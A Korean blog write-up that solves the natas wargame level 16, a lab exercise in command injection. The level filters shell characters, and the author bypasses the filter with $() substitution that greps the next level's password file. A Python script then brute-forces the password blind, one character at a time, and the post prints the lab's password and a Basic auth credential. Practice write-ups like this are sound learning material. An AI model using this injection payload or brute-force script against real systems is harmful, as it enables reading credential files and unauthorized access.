본문 바로가기
워게임/natas

[natas - WEB hacking] level15 -> leve16

by B T Y 2017. 10. 8.
반응형

[natas - WEB hacking] level15 -> leve16





[ 풀이과정 ]


페이지에 접속해보니 해당 관련된 문자를 검색하는 폼과 버튼이 있었고 해당 결과를 출력해주는 output이 있었다.

위쪽에는 '보안상의 이유로 특정문자를 더 많이 필터링 한다'는 문구가 있었다.





페이지 소스를 보니 preg_match() 함수를 이용해서 [;|&`\'"] 문자들을 필터링 하고 있었다.

해당 문자들이 필터링 되고 있기 때문에 passthru("grep -i \"$key\" dictionary.txt");에서 

한줄에 여러 명령어를 실행 시키는 방법은 막혔다..


리눅스에서 ` 대신 사용할 수 있는게 $()이다.

$() 안에 grep을 실행 시켜서 해당 실행 내용이 참이라면 뒤에 dictionary.txt는 실행이 되지 않을 것이다.


$(grep ^8 /etc/natas_webpass/natas17)를 입력해서 첫글자가 8로 시작한다는걸 알아냈다..

$() 내용이 거짓이면 뒤쪽에 dictionary.txt가 실행된다.

dictionary.txt가 실행되면 African과 같은 검색된 단어들이 출력된다.


python 자동화 프로그램을 이용해서 맨처음에 Afrincan 문자가 없을경우 참의 결과로 판단하고

natas17에 pass를 찾는 자동화 프로그램을 만들었다.



natas17: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw






natas16.py



import socket


pw=""

for i in range(1, 33):

    for ch in range(48, 123):

        if 58 <= ch <= 64: continue

        if 91 <= ch <= 96: continue

        sock = socket.socket( socket.AF_INET, socket.SOCK_STREAM )

        sock.connect( ("176.9.9.172", 80) )


        request_header = "GET /"

        request_header += "?needle=%24%28grep%20%5E" + pw + chr(ch)

        request_header += "%20/etc/natas_webpass/natas17%29&submit=Search "

        request_header += "HTTP/1.1\r\n"

        request_header += "Authorization:Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==\r\n"

        request_header += "Host:natas16.natas.labs.overthewire.org\r\n"


        sock.send( request_header.encode() )

        response = sock.recv( 65535 ).decode()

        print(response)

        if not("African" in response):

            pw += chr(ch)

            #print( pw )

            sock.close()

            break;

        sock.close()


print(pw)





반응형

댓글